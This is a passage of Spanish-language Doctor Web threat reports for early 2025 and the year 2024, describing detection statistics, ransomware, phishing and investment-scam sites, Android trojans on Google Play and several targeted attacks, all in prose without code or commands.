Los residentes de Polonia también afrontaron sitios falsos similares. En uno de ellos, los estafadores prometían a las potenciales víctimas que podrían ganar entre 950 y 2.200 dólares al día con «el software de gestión de criptomonedas más avanzado del mundo»:

Otro sitio ofrecía invertir 250 € y ganar 700 € a diario:

Uno de los recursos fraudulentos prometía a los usuarios polacos «la posibilidad de trabajar desde casa y ganar un buen dinero» gracias al sistema automatizado Click Money. Con su ayuda, personas sin experiencia en trading supuestamente podrían ganar hasta 64.000.000 de zlotys polacos al año:

Conozca más sobre los sitios web no recomendados por Dr.Web

Malware y software no deseado para dispositivos móviles

Según los datos estadísticos de detecciones de Dr.Web Security Space para dispositivos móviles, en el II trimestre del año 2025 con mayor frecuencia en dispositivos protegidos se detectaban los troyanos de publicidad Android.HiddenAds. Comparado con el trimestre anterior, los usuarios los afrontaban un poco menos. Los siguieron los troyanos de publicidad Android.MobiDash y el malware falso Android.FakeApp. Así mismo, la actividad de los primeros aumentó, y la de los segundos bajó.

Entre los troyanos bancarios también se observó una dinámica diversa. Por ejemplo, se detectaron más ataques por parte de los representantes de la familia Android.Banker. Así mismo, los troyanos de las familias Android.BankBot y Android.SpyMax se detectaban menos en los dispositivos protegidos.

En el II trimestre en el firmware de algunos modelos de smartphones en Android los expertos de la empresa Doctor Web detectaron un troyano Android.Clipper.31. Este malware se ocultaba en una versión del Messenger WhatsApp modificada por los malintencionados y se usaba para robar criptomoneda a los dueños de dispositivos infectados. Además, nuestros analistas de virus detectaron un malware Android.Spy.1292.origin. Los delincuentes la integraron en una de las versiones del software de cartografía Alpine Quest y la utilizaron para espiar a militares rusos.

Durante los últimos 3 meses decenas de amenazas fueron detectadas en el catálogo Google Play. Entre las mismas, el malware falso Android.FakeApp y un nuevo adware no deseado Adware.Adpush.21912.

Loe eventos más destacados vinculados a la seguridad «móvil» en el II trimestre:

Reducción de la actividad de los troyanos de publicidad Android.HiddenAds
Crecimiento de la actividad de los troyanos de publicidad Android.MobiDash
Detecciones más frecuentes de troyanos bancarios Android.Banker
Reducción del número de ataques de troyanos bancarios Android.BankBot y Android.SpyMax
Detección de un troyano para el robo de criptomonedas que se ocultaba en el firmware de varios modelos de smartphones en Android
Detección de un troyano espía dirigido a militares rusos
Aparición de nuevas amenazas en el catálogo de Google Play

Para más información sobre los eventos de virus para dispositivos móviles en el II trimestre del año 2025 consulte nuestro informe.

Doctor Web: informe de la actividad de virus en el I trimestre del año 2025

Thu, 27 Mar 2025 00:00:00 GMT

27 de marzo de 2025

Según las estadísticas de detección del antivirus Dr.Web, en el primer trimestre de 2025 el número total de amenazas detectadas aumentó un 7,23% en comparación con el cuarto trimestre de 2024. Al mismo tiempo, el número de amenazas únicas disminuyó casi en un tercio, un 27,59%. Esto indica que los ciberdelincuentes, al aumentar ligeramente la intensidad de los ataques, comenzaron a utilizar con mayor frecuencia el mismo malware y software no deseado. Las amenazas más comunes fueron los scripts maliciosos de diversas funcionalidades, así como los troyanos publicitarios y adware.

En el tráfico de correo electrónico, se detectaron con mayor frecuencia los troyanos dropper y cargadores, adware, scripts maliciosos, así como los troyanos destinados a ejecutar diversas amenazas en los ordenadores atacados.

Los usuarios cuyos archivos fueron afectados por los troyanos cifradores con mayor frecuencia afrontaban los encoders Trojan.Encoder.35534, Trojan.Encoder.35209 y Trojan.Encoder.35067.

En enero el laboratorio de virus de Doctor Web detectó una campaña activa para la minería de la criptomoneda Monero, organizada con el uso de múltiple malware. Para ocultar algunos de ellos, los ciberdelincuentes emplearon esteganografía, una técnica que permite ocultar ciertos datos dentro de otros, como, por ejemplo, en imágenes.

Al mismo tiempo, durante el primer trimestre, nuestros analistas de Internet detectaron un aumento del número de sitios fraudulentos dirigidos al robo de cuentas de usuarios del messenger Telegram.
En el segmento de amenazas móviles, se observó un crecimiento en la actividad de troyanos publicitarios y de algunas familias de troyanos bancarios para el sistema operativo Android. Además, los expertos de la empresa Doctor Web identificaron decenas de nuevos programas maliciosos en el catálogo de Google Play.

Tendencias clave del I trimestre

Aumento del número de amenazas detectadas en los dispositivos protegidos
Reducción del número de amenazas únicas utilizadas en los ataques
Aumento del número de sitios de phishing creados para el robo de cuentas de Telegram
Aumento de la actividad de varias familias de troyanos publicitarios y bancarios para el sistema operativo Android
Aparición de nuevos programas maliciosos en Google Play

Según los datos del servicio de estadísticas Doctor Web

Las amenazas más difundidas del I trimestre del año 2025:

VBS.KeySender.6: Un script malicioso que en un ciclo infinito busca ventanas con texto mode extensions, разработчика y розробника y les envía un evento de pulsación de la tecla Escape, cerrándolas de manera forzosa.
Adware.Downware.20091: Adware que sirve de instalador intermediario de software pirata.
Trojan.BPlug.4242: Detección del componente malicioso de la extensión del navegador WinSafe. Este componente consiste en un script de JavaScript que visualiza publicidad importuna en navegadores.
JS.Siggen5.44590: Un código malicioso añadido a la biblioteca de JavaScript pública es5-ext-main. Visualiza un mensaje determinado si el paquete ha sido instalado en un servidor con el huso horario de ciudades rusas.
Trojan.Siggen30.53926: Un proceso host del framework Electron modificado por los malintencionados camuflado de un componente de la aplicación Steam (Steam Client WebHelper) que carga un backdoor JavaScript.

Estadísticas de malware en el tráfico de correo

JS.Siggen5.44590: Un código malicioso añadido a la biblioteca JavaScript pública es5-ext-main. Visualiza un mensaje determinado si el paquete ha sido instalado en el servidor con el huso horario de ciudades rusas.
JS.Inject: Una familia de scripts maliciosos creados en lenguaje JavaScript. Incrustan el script malicioso en el código HTML de las páginas web.
Trojan.AVKill.63950: Un dropper que instala el backdoor JS.BackDoor.42 en equipos administrados por el SO Windows.
Trojan.Inject5.13806: Un malware para ordenadores con el SO Windows creado con el uso del lenguaje script AutoIt. Lanza varios procesos del sistema e inyecta en ellos el troyano espía Trojan.Fbng, que los atacantes pueden utilizar, entre otras cosas, como troyano bancario.

Cifradores

En el primer trimestre de 2025, el número de solicitudes para descifrar archivos afectados por troyanos cifradores disminuyó un 9,34% en comparación con el cuarto trimestre del año pasado.

Dinámica de las solicitudes de descifrado al servicio de soporte técnico de Doctor Web:

Los encoders más populares del I trimestre de 2025:

Trojan.Encoder.35534 — 11.89% de solicitudes de usuarios
Trojan.Encoder.35209 — 5.95% de solicitudes de usuarios
Trojan.Encoder. 35067 — 3.57% de solicitudes de usuarios
Trojan.Encoder.38200 — 2.38% de solicitudes de usuarios
Trojan.Encoder.37369 — 1.98% de solicitudes de usuarios

Estafas de red

En el primer trimestre de 2025, los analistas de Internet de la empresa Doctor Web observaron la aparición de numerosos sitios de phishing para robar cuentas del messenger Telegram. Entre los tipos más comunes se encontraban páginas falsas de inicio de sesión y páginas de soporte, que informaban sobre supuestos problemas debido a una violación de los términos de uso del servicio.

Volvieron a ser populares los sitios falsos de tiendas en línea, en los cuales los ciberdelincuentes ofrecían a las potenciales víctimas iniciar sesión en sus cuentas.

Formulario de inicio de sesión phishing en el sitio falso de una tienda en línea rusa

Nuestros especialistas continuaron detectando sitios fraudulentos con todo tipo de "ofertas atractivas", como acceso a ganancias fáciles o rápidas, recibir ciertos regalos, participar en promociones, entre otros. Por ejemplo, uno de los esquemas estaba dirigido a los habitantes del Reino Unido. Se les ofrecía obtener tarjetas de transporte "de edición limitada", supuestamente conmemorativas del aniversario de algún operador de transporte, que permitirían utilizar los servicios de transporte público de forma gratuita durante un largo período.

Sitios fraudulentos que ofrecen la oportunidad de obtener tarjetas de transporte "promocionales" First Essex y Oyster para el uso gratuito del transporte público

Los usuarios debían responder a varias preguntas y luego jugar a un juego, al abrir cajas virtuales con regalos ("el premio" en estos escenarios ya estaba determinado de antemano). Después de la "victoria", se les pedía que proporcionaran sus datos personales y pagaran £2 para "obtener" la tarjeta prometida. La información personal de las víctimas y el dinero terminaban en manos de los ciberdelincuentes.

La víctima potencial supuestamente encontró con éxito la tarjeta en una de las cajas del juego y, para obtenerla, debía proporcionar sus datos personales y pagar £2

Formulario para introducirr los datos de la tarjeta bancaria para el pago de una tarjeta de transporte promocional inexistente

Los ciberdelincuentes continúan acechando a las víctimas potenciales con diversas plataformas comerciales que afirman tener "algoritmos únicos", incluidos los supuestamente basados en tecnologías de inteligencia artificial. Además, los estafadores utilizan los nombres de personas conocidas y se hacen pasar por empresas y servicios legítimos, afirmando estar relacionados con ellos. Uno de los escenarios más actuales sigue siendo la promesa de ganar dinero mediante ciertos servicios especializados de Telegram, WhatsApp y otras empresas.

Así, por ejemplo, algunos sitios promovían diversas plataformas de IA, como Telegram AI y WHATSAPP AI, que supuestamente podrían generar hasta €14,000 al mes con el uso de un "sistema de comercio automatizado":

Otros tipos explotaban el tema de los bots comerciales, que a menudo se presentan como herramientas creadas directamente por los propietarios de los mensajeros. Por ejemplo, uno de los sitios prometía que el "bot de Pavel Durov" Telegram.AI permitiría ganar hasta €2500 al mes, mientras que otro ofrecía la posibilidad de ganar hasta €500 al día utilizando el bot WhatsApp Bot, supuestamente creado por Mark Zuckerberg.

Otro sitio fraudulento ofrecía registrarse en una «plataforma de Telegram», que supuestamente se ejecutaba directamente desde el navegador del smartphone, realizaba operaciones comerciales con acciones de empresas globales y generaba €10,000 al mes:

Otro le prometía a «cualquier residente europeo» recibir ganancias a partir de €5000 al mes con algunos algoritmos de la empresa WhatsApp a base de la inteligencia artificial:

Un tipo común del esquema fraudulento con un sistema de comercio falso basado en IA es la plataforma scam "Fórmula de la riqueza", que supuestamente realiza operaciones comerciales en fracciones de segundo teniendo en cuenta el análisis de un gran volumen de datos. Varios sitios de este sistema inexistente invitan a los visitantes a ver un video informativo y registrarse para recibir una consulta en la "oficina de soluciones contra crisis". Los estafadores se centran principalmente en usuarios europeos, en particular checos, a quienes prometen ganancias de €1000 por día "de por vida ". Para acceder al sistema, se les pide a las víctimas potenciales que realicen un depósito mínimo de €250.

Siguen siendo populares otros escenarios similares, como la obtención de ingresos mediante algún software especializado. Por ejemplo, uno de los sitios invitaba a los usuarios checos a ganar decenas de miles de coronas al día gracias al «software criptográfico más inteligente del mundo»:

Otro portal fraudulento prometía ganar más de 4,7 millones de coronas al mes con un supuesto software de comercio «10K EVERY DAY APP»:

Al mismo tiempo, los usuarios continuaron afrontando sitios falsos de temática de inversión, cuyo objetivo eran los habitantes de diferentes países. Por ejemplo, para el público de Kazajistán, los estafadores prepararon una nueva plataforma para ganar dinero de forma pasiva a través del comercio de petróleo y gas:

Múltiples otros sitios ofrecían «ganar lo máximo posible» con el comercio de acciones de Kazajistán, Rusia, China y otros países:

Los residentes de Rusia y Kirguistán afrontaron sitios similares, que supuestamente les permitían ganar dinero a través del comercio de petróleo y gas:

Uno de los sitios fraudulentos ofrecía a los usuarios rumanos unirse al proyecto del gasoducto BRUA y prometía 3000 lei a la semana como ingresos pasivos:

Un aliciente para las víctimas potenciales siguen siendo sitios que prometen ayudas públicas a la población en forma de subsidios, pagos sociales, etc. Así, los ciberdelincuentes intentaron acechar a los usuarios rusos a falsificaciones del portal de los Servicios del Estado. En uno de estos sitios, se pedía a los usuarios proporcionar sus datos personales supuestamente para participar en un programa de pagos de una empresa de petróleo y gas, así como para recibir bonos del gobierno:

Otro sitio fraudulento prometía ayuda a cada residente de Kazajistán en forma de pagos supuestamente en nombre de un banco importante «para evitar problemas y desastres»:

Siguen siendo populares los sitios falsos de servicios de inversión, en particular de instituciones financieras rusas. Muchos de ellos se hacen pasar por verdaderos portales web de bancos para confundir al máximo a las víctimas potenciales.

Unos ejemplos de sitios falsos de bancos rusos que ofrecen acceso a «servicios de inversión»

Conozca más sobre los sitios no recomendados por Dr.Web

Malware y software no deseado para dispositivos móviles

Según los datos estadísticos de detecciones de Dr.Web Security Space para dispositivos móviles, en el I trimestre del año 2025 las amenazas en Android más populares fueron los troyanos adware Android.HiddenAds y Android.MobiDash, así como adware falso Android.FakeApp. Comparado con el trimestre IV del año pasado, su actividad subió. Además, los usuarios afrontaron con mayor frecuencia los troyanos bancarios Android.BankBot y Android.Banker. Los troyanos espía Android.SpyMax, el número de ataques con aplicación de los cuales en el año 2024 aumentaba casi todos los meses, al contrario, se detectaron en dispositivos protegidos con menos frecuencia.

Nuestros expertos otra vez detectaron múltiples amenazas en el catálogo Google Play. Entre las mismas — los troyanos usados en varios esquemas de estafa, malware para robar criptomoneda, así como troyanos adware.

Los eventos más destacados vinculados a la seguridad «móvil» en el I trimestre:

Aumento de la actividad de troyanos adware Android.HiddenAds y Android.MobiDash
Aumento de la actividad de troyanos bancarios Android.BankBot y Android.Banker
Reducción del número de ataques de troyanos espía Android.SpyMax
Detección de nuevas amenazas en el catálogo Google Play

Para más información sobre los eventos de virus para dispositivos móviles en el I trimestre del año 2025, consulte nuestro informe.

Doctor Web: informe de la actividad de virus para dispositivos móviles en I trimestre de 2025

Thu, 27 Mar 2025 00:00:00 GMT

27 de marzo de 2025

Según los datos estadísticos de detecciones Dr.Web Security Space para dispositivos móviles, en el I trimestre del año 2025 los troyanos adware Android.HiddenAds siguieron siendo malware más popular para el SO Android. Así mismo, comparado con el IV trimestre del año pasado, los mismos se detectaban en los dispositivos protegidos más del doble de veces. El segundo lugar otra vez lo ocupó el malware Android.FakeApp que los malintencionados usan en varios esquemas de estafa; su actividad creció casi un 8%. Los terceros fueron los troyanos adware de la familia Android.MobiDash — su número de detecciones creció casi 5 veces.

Se observó una dinámica parecida entre muchos troyanos bancarios. Así, por ejemplo, fue registrado un crecimiento del número de ataques de representantes de las familias Android.BankBot y Android.Banker — un 20,68% y un 151,71% respectivamente. Al mismo tiempo, los troyanos Android.SpyMax cuya actividad creció casi durante todo el año 2024, se detectaron un 41,94% menos que en el trimestre anterior.

Durante los últimos 3 meses los expertos de Doctor Web detectaron decenas de nuevas amenazas en el catálogo Google Play. Además del múltiples troyanos Android.FakeApp, ya habituales, nuestro laboratorio de virus registró en el mismo malware para robar criptomoneda, así como otros troyanos que visualizan publicidad importuna.

TENDENCIAS CLAVE DEL I TRIMESTRE

Crecimiento de la actividad de troyanos bancarios
Crecimiento del número de ataques de bankers Android.BankBot y Android.Banker
Reducción de la actividad de troyanos espía Android.SpyMax
En Google Play aparecieron múltiples nuevos tipos de malware

Según los datos de Dr.Web Security Space para dispositivos móviles

Android.HiddenAds.657.origin
Android.HiddenAds.655.origin
Android.HiddenAds.4214: Programas troyanos para visualizar publicidad importuna. Los representantes de la familia Android.HiddenAds frecuentemente se propagan camuflados de aplicaciones legales y en algunos casos se instalan en el catálogo del sistema por otro malware. Al penetrar en dispositivos en Android, estos troyanos adware suelen ocultar al usuario su propia presencia en el sistema, por ejemplo, “ocultan” el icono de la aplicación del menú de la pantalla principal.
Android.FakeApp.1600: Un programa troyano que abre un sitio web indicado en su configuración. Las modificaciones conocidas de este malware abren el sitio web del casino online.
Android.MobiDash.7859: Un programa troyano que visualiza publicidad importuna. Es un módulo de software que los desarrolladores integran en las aplicaciones.

Program.FakeMoney.11
Program.FakeMoney.14: Detección de aplicaciones que supuestamente permiten ganar dinero al realizar determinadas acciones o tareas. Estos programas simulan la acumulación de recompensas, pero para retirar el dinero «ganado» es necesario alcanzar una cantidad mínima. Suelen incluir una lista de sistemas de pago y bancos populares a través de los cuales, en teoría, se podrían transferir las recompensas. Sin embargo, incluso cuando los usuarios logran acumular la cantidad requerida, los pagos prometidos nunca se realizan. Esta misma detección también se aplica a otro software no deseado basado en el código de estos programas.
Program.FakeAntiVirus.1: Detección de adware que imita el funcionamiento de un software antivirus. Estas aplicaciones pueden alertar sobre amenazas inexistentes y engañar a los usuarios para que paguen por la versión completa.
Program.CloudInject.1: Detección de aplicaciones para Android modificadas mediante el servicio en la nube CloudInject y la herramienta de Android del mismo nombre (añadida a la base de virus de Dr.Web como Tool.CloudInject). Estos programas se alteran en un servidor remoto, y el usuario interesado en su modificación (modder) no tiene control sobre qué elementos se integran en ellos. Además, las aplicaciones obtienen un conjunto de permisos peligrosos. Tras la modificación, el modder puede administrarlas de forma remota, bloqueándolas, mostrando diálogos personalizados, rastreando la instalación y eliminación de otros programas, entre otras acciones.
Program.TrackView.1.origin: Detección de una aplicación que permite espiar a los usuarios a través de dispositivos Android. Con esta herramienta, los atacantes pueden rastrear la ubicación de los dispositivos objetivo, utilizar la cámara para grabar vídeos y tomar fotos, activar el micro para escuchar conversaciones, grabar audio, entre otras funciones maliciosas.

Tool.NPMod.1: Detección de aplicaciones para Android modificadas con la utilidad NP Manager. Estos programas incluyen un módulo especial que permite eludir la verificación de la firma digital tras su modificación.
Tool.Androlua.1.origin: Detección de varias versiones potencialmente peligrosas de un framework especializado para el desarrollo de aplicaciones Android en el lenguaje de programación script Lua. La lógica principal de las aplicaciones Lua está en scripts específicos, que están cifrados y se descifran con un interpretador antes de su ejecución. Con frecuencia, este framework solicita por defecto acceso a numerosos permisos del sistema para su funcionamiento. Como resultado, los scripts Lua ejecutados a través de él pueden realizar varias acciones maliciosas según los permisos concedidos.
Tool.SilentInstaller.14.origin: Plataforma de software potencialmente peligrosa que permite a las aplicaciones ejecutar archivos APK sin necesidad de instalarlos. Esta plataforma crea un entorno de ejecución virtual dentro del contexto de las aplicaciones en las que está integrada. Los archivos APK ejecutados a través de ella pueden funcionar como si fueran parte de dichas aplicaciones y obtener los mismos permisos de forma automática.
Tool.LuckyPatcher.1.origin: Una utilidad que permite modificar aplicaciones Android instaladas (crear parches para ellas) con el objetivo de cambiar la lógica de su funcionamiento o esquivar ciertas restricciones. Por ejemplo, con ella los usuarios pueden intentar desactivar la comprobación de acceso root en aplicaciones bancarias o conseguir recursos ilimitados en juegos. Para crear parches, la utilidad descarga desde Internet scripts especialmente preparados, que pueden ser creados y añadidos a la base común por cualquier persona. La funcionalidad de estos scripts puede ser, entre otras cosas, maliciosa, por lo que los parches creados pueden representar un peligro potencial.
Tool.Packer.1.origin: Una utilidad especial comprimidora para proteger las aplicaciones Android contra modificaciones e ingeniería inversa. No es maliciosa, pero puede ser utilizada para proteger tanto programas inofensivos como programas troyanos.

Adware.ModAd.1: Detección de algunas versiones modificadas (mods) del messenger WhatsApp, en las que se ha insertado código para cargar enlaces específicos a través de una visualización web mientras se utiliza el messenger. Desde estas direcciones de Internet se realiza una redirección a sitios promocionados, como casinos en línea, casas de apuestas y sitios para adultos.
Adware.Basement.1: Aplicaciones que visualizan publicidad no deseada, que a menudo redirige a sitios maliciosos y fraudulentos. Comparten una base de código común con programas no deseados Program.FakeMoney.11.
Adware.AdPush.3.origin
Adware.Adpush.21846: Módulos de publicidad que pueden ser integrados en aplicaciones Android. Visualizan notificaciones publicitarias que engañan a los usuarios. Por ejemplo, estas notificaciones pueden parecer mensajes del sistema operativo. Además, estos módulos recopilan una serie de datos confidenciales, y también pueden descargar otras aplicaciones e iniciar su instalación.
Adware.Fictus.1.origin: Un módulo publicitario que los ciberdelincuentes integran en versiones clonadas de juegos y aplicaciones populares para Android. Su integración en las aplicaciones se realiza mediante un comprimidor especializado net2share. Las copias de software creadas de esta manera se propagan a través de varios catálogos de aplicaciones y, una vez instaladas, visualizan publicidad no deseada.

Amenazas en Google Play

En el primer trimestre de 2025, el laboratorio de virus de la empresa Doctor Web detectó en Google Play varias decenas de aplicaciones maliciosas. Entre ellas, varias modificaciones de los troyanos Android.HiddenAds.4213 y Android.HiddenAds.4215 que ocultan su presencia en los dispositivos infectados y comienzan a mostrar publicidad encima de otras aplicaciones e interfaces del sistema operativo. Se ocultaban en aplicaciones de grabación de fotos y vídeos con varios efectos, editores de fotos, recopilaciones de imágenes y un diario de salud femenina.

Troyanos adware Android.HiddenAds que se ocultan en los programas Time Shift Cam y Fusion Collage Editor

Así mismo, nuestros expertos detectaron malware Android.CoinSteal.202, Android.CoinSteal.203 y Android.CoinSteal.206, que sirven para robar criptomoneda y se propagaron camuflados de software oficial de las plataformas blockchain Raydium y Aerodrome Finance, así como de la criptobolsa Dydx.

Programas Raydium y Dydx Exchange — troyanos para robar criptomoneda

Al ejecutarse, el malware solicita a las posibles víctimas que ingresen una frase mnemotécnica (frase seed) supuestamente para conectar un criptomonedero, pero en realidad, los datos introducidos se envían a los ciberdelincuentes. Para engañar aún más a los usuarios, los formularios para introducir las frases mnemotécnicas pueden ser camuflados de solicitudes de otras plataformas criptográficas. Como se muestra en el siguiente ejemplo, Android.CoinSteal.206 mostró un formulario de phishing supuestamente en nombre de la criptobolsa PancakeSwap.

Al mismo tiempo, en Google Play se volvieron a propagar programas falsificados Android.FakeApp. Muchos de ellos eran presentados por los ciberdelincuentes como aplicaciones de temática financiera, incluyendo tutoriales, herramientas para acceder a servicios de inversión y programas para gestionar finanzas personales. Estos programas cargaban diversos sitios de phishing, incluidos aquellos utilizados por los atacantes para recopilar datos personales.

Unos ejemplos de malware Android.FakeApp propagado como software financiero: «Dinero inteligente» — Android.FakeApp.1803, Economic Union — Android.FakeApp.1777

Otros troyanos Android.FakeApp, bajo ciertas condiciones, cargaban sitios de casas de apuestas y casinos en línea. Estas versiones de software malicioso se distribuían camufladas de varios juegos y otras aplicaciones, como, por ejemplo, un simulador de escritura rápida y un tutorial de dibujo. Entre ellas se detectaron también nuevas modificaciones del troyano Android.FakeApp.1669.

Unos ejemplos de malware falsificado que, en vez de la funcionalidad prometida, pudo cargar sitios de casinos en línea y casas de apuestas

Para proteger los dispositivos en Android contra malware y programas no deseados recomendamos a los usuarios instalar los productos antivirus Dr.Web para Android.

Indicadores de compromiso

Doctor Web: informe de la actividad de virus en el año 2024

Thu, 30 Jan 2025 00:00:00 GMT

30 de enero de 2024

En 2024, el malware creado con lenguaje script AutoIt y propagado como parte de otro malware para dificultar su detección volvió a figurar entre las amenazas más comunes. Se observó una actividad importante de troyanos adware y diversos scripts maliciosos. Los scripts maliciosos también se detectaron con mayor frecuencia en el tráfico de correo electrónico. Además, a través de correos electrónicos no deseados se propagaron todo tipo de troyanos, documentos de phishing y exploits que permiten la ejecución de código aleatorio.

Entre las amenazas móviles, los troyanos adware, los troyanos spyware y los adware no deseados fueron los más populares. A lo largo del año aumentó la actividad de los troyanos bancarios para móviles. Nuestro laboratorio de virus detectó cientos de nuevos programas maliciosos y no deseados en el catálogo de Google Play.

Los analistas de Internet destacaron una actividad importante de los estafadores en línea, cuyo arsenal se enriqueció con nuevos esquemas de engaño.

En comparación con 2023, disminuyó el número de solicitudes de usuarios para descifrar archivos afectados por troyanos encoders. Al mismo tiempo, nuestros expertos observaron numerosos eventos relacionados con la seguridad de la información. Durante el año, Doctor Web investigó varios ataques dirigidos, detectó otra infección de consolas basadas en Android y afrontó un ataque contra su propia infraestructura.

Tendencias clave del año

Los troyanos creados con el lenguaje script AutoIt siguen siendo muy activos
Los scripts maliciosos se detectaron entre las amenazas más populares
Los scripts maliciosos y varios troyanos prevalecieron entre las amenazas del correo electrónico
Se han detectado nuevos ataques dirigidos
Los malintencionados aumentaron el uso de la tecnología eBPF para ocultar la actividad maliciosa
Reducción del número de solicitudes de descifrado de archivos afectados por troyanos
Alta actividad de los estafadores en Internet
Los troyanos bancarios para móviles son cada vez más frecuentes
Detección de múltiples nuevas amenazas en el catálogo Google Play

Los eventos más interesantes del año 2024

En enero, Doctor Web informó sobre Trojan.BtcMine.3767, un troyano miner oculto en software pirata propagado a través de un canal de Telegram especialmente creado y una serie de sitios web. El malware infectó decenas de miles de ordenadores con Windows. Para fijarse en el sistema atacado, el mismo creaba una tarea en el programador para autoejecutarse y se añadía a las excepciones del antivirus Windows Defender. A continuación, inyectaba un componente en el proceso explorer.exe (Explorador de Windows) que era directamente responsable de la minería de criptomonedas. Trojan.BtcMine.3767 también permitía realizar otras acciones maliciosas, como instalar un rootkit sin archivos, bloquear el acceso a sitios web e impedir las actualizaciones del sistema operativo.

En marzo, nuestra empresa publicó una investigación sobre un ataque dirigido a una empresa rusa de construcción de maquinaria. La investigación del incidente reveló un vector de infección de varias etapas y el uso de varios tipos de malware a la vez. La más interesante era el backdoore JS.BackDoor.60, que era el principal punto de interacción entre los atacantes y el ordenador infectado. Este troyano utiliza su propio framework JavaScript y consiste en un cuerpo principal y módulos auxiliares. Permite robar archivos de los dispositivos infectados, rastrear la entrada del teclado, crear capturas de pantalla, descargar actualizaciones personalizadas y ampliar la funcionalidad mediante la descarga de nuevos módulos.

En mayo, los analistas de virus de Doctor Web detectaron el troyano clicker Android.Click.414.origin en la app de gestión de juguetes para adultos Love Spouse y en la app de seguimiento de actividad física QRunning, ambas propagadas a través del catálogo de Google Play. Android.Click.414.origin se hacía pasar por un componente para recopilar información de depuración y se introducía en varias versiones nuevas de estas apps. Más tarde, los desarrolladores de Love Spouse publicaron una versión actualizada que ya no contenía el troyano. Los autores del segundo programa no respondieron. Android.Click.414.origin tenía una arquitectura modular y podía utilizar sus componentes para realizar diversas actividades maliciosas: recopilar datos sobre el dispositivo infectado, descargar páginas web de forma oculta, visualizar anuncios, realizar clics e interactuar con el contenido de las páginas descargadas.

En julio, informamos de la aparición de una versión para Linux del troyano conocido de acceso remoto TgRat, que se utiliza para ataques objetivos a ordenadores. La nueva variante de la aplicación maliciosa, llamada Linux.BackDoor.TgRat.2, fue descubierta durante la investigación de un incidente de seguridad de la información del que nos informó un proveedor de hosting. El antivirus Dr.Web detectó un archivo sospechoso en el servidor de uno de sus clientes, que resultó ser un dropper del backdoor que instalaba el troyano. Los atacantes controlaban Linux.BackDoor.TgRat.2 a través de un grupo privado de Telegram utilizando un bot de Telegram conectado al mismo. Con el messenger, podían descargar archivos del sistema comprometido, hacer capturas de pantalla, ejecutar comandos de forma remota o descargar archivos a un ordenador utilizando adjuntos de chat.

A principios de septiembre, en el sitio web de Doctor Web publicó información sobre un ataque objetivo no realizado contra una empresa rusa importante del sector del transporte ferroviario de mercancías. Unos meses antes, los empleados del departamento de seguridad de la información de la empresa habían detectado un correo electrónico sospechoso con un archivo adjunto. Nuestros analistas de virus examinaron el archivo y descubrieron que se trataba de un acceso directo de Windows disfrazado de documento .pdf con parámetros para iniciar el interpretador de comandos PowerShell. La apertura de este acceso directo debería haber dado lugar a una infección en varias fases del sistema de destino con varios programas maliciosos de ciberespionaje. Uno de ellos era Trojan.Siggen27.11306, que explotaba la vulnerabilidad CVE-2024-6473 de Yandex Browser para interceptar comandos de búsqueda (DLL Search Order Hijacking). El troyano colocaba una biblioteca dll maliciosa en el directorio de instalación del navegador con el nombre del componente del sistema Wldp.dll responsable de garantizar la seguridad del lanzamiento de aplicaciones. Dado que el archivo malicioso estaba en la carpeta de la aplicación, cuando ésta se iniciaba, la biblioteca del troyano recibía mayor prioridad debido a una vulnerabilidad del navegador y se cargaba en primer lugar. También recibía todos los permisos del navegador. Esta vulnerabilidad fue parcheada posteriormente.

Poco después, nuestros expertos informaron de otro ataque contra consolas TV basadas en Android. Se trataba del malware Android.Vo1d, que infectó casi 1.300.000 dispositivos de usuarios de 197 países. Se trataba de un backdoor modular que colocaba sus propios componentes en el área del sistema y, siguiendo los comandos de los atacantes, podía descargar y ejecutar otras aplicaciones de forma oculta.

Además, en septiembre se registró un ataque dirigido contra los recursos de nuestra empresa. Los expertos de Doctor Web impidieron rápido un intento de dañar la infraestructura y afrontaron el ataque con éxito. Ninguno de nuestros usuarios resultó perjudicado.

En octubre, los analistas de virus de Doctor Web informaron de la detección de una serie de nuevo malware para el sistema operativo Linux. Se identificaron al investigar ataques a dispositivos que ejecutaban el sistema de administración de bases de datos Redis, que se está convirtiendo cada vez más en objetivo de los ciberdelincuentes que explotan diversas vulnerabilidades del mismo. Entre las amenazas detectadas hubo backdoors, droppers y una nueva modificación de un rootkit que instalaba el troyano miner Skidmap en los dispositivos comprometidos. Este miner lleva activo desde 2019 y su objetivo principal son los recursos corporativos: grandes servidores y entornos en la nube.

Ese mismo mes, nuestro laboratorio de virus identificó una campaña de gran escala de propagación de malware para minar y robar criptodivisas. Los atacantes afectaron a más de 28.000 usuarios, la mayoría en Rusia. Los troyanos estaban ocultos en software pirata, que se distribuía utilizando sitios web fraudulentos creados en la plataforma GitHub. Además, los creadores de virus colocaron enlaces para descargar aplicaciones maliciosas debajo de vídeos publicados en YouTube.

En noviembre, nuestros expertos identificaron una serie de nuevas variantes de Android.FakeApp.1669, un programa troyano cuya tarea consiste en cargar sitios web. A diferencia de la mayoría de otros programas maliciosos similares, Android.FakeApp.1669 obtiene las direcciones de los sitios de destino a partir de los registros TXT de servidores DNS maliciosos y utiliza código modificado de la biblioteca dnsjava de código abierto. Al mismo tiempo, el troyano sólo muestra actividad maliciosa cuando se conecta a Internet a través de ISP específicos. En los demás casos, funciona como software inofensivo.

A finales de 2024, al analizar una solicitud de uno de nuestros clientes, los expertos del laboratorio de virus de Doctor Web detectaron una campaña de hacking activa, dirigida principalmente a usuarios del sudeste asiático. Durante los ataques, los ciberdelincuentes utilizaron una serie de aplicaciones maliciosas, así como métodos y técnicas que no hacen más que ganar popularidad entre los creadores de virus. Uno de ellos fue la explotación de la tecnología eBPF (extended Berkeley Packet Filter), diseñada para ampliar el control sobre el subsistema de red y los procesos de Linux. Esta tecnología se utilizaba para ocultar actividades y procesos de red maliciosos, recopilar información sensible y esquivar Firewalls y sistemas de detección de intrusos. Otra técnica consistía en almacenar la configuración del software troyano no en el servidor de control, sino en sitios públicos como GitHub y blogs. La tercera característica de los ataques fue el uso de frameworks de postexplotación junto con aplicaciones maliciosas. Aunque este tipo de herramientas no son maliciosas y se utilizan en auditorías de seguridad de sistemas digitales, su funcionalidad y sus bases de datos de vulnerabilidades pueden ampliar las posibilidades de los atacantes.

Eventos de virus

Según las estadísticas de detección del antivirus Dr.Web, el número total de amenazas detectadas en 2024 aumentó un 26,20% en comparación con 2023. El número de amenazas únicas aumentó un 51,22%. Entre los programas maliciosos detectados con mayor frecuencia hubo troyanos creados en lenguaje de script AutoIt, que se distribuyen como parte de otro malware para dificultar su detección. Además, los usuarios afrontaron varios scripts maliciosos y troyanos adware.

Malware más frecuente en el año 2024 según los datos del servicio de estadísticas de Doctor Web:

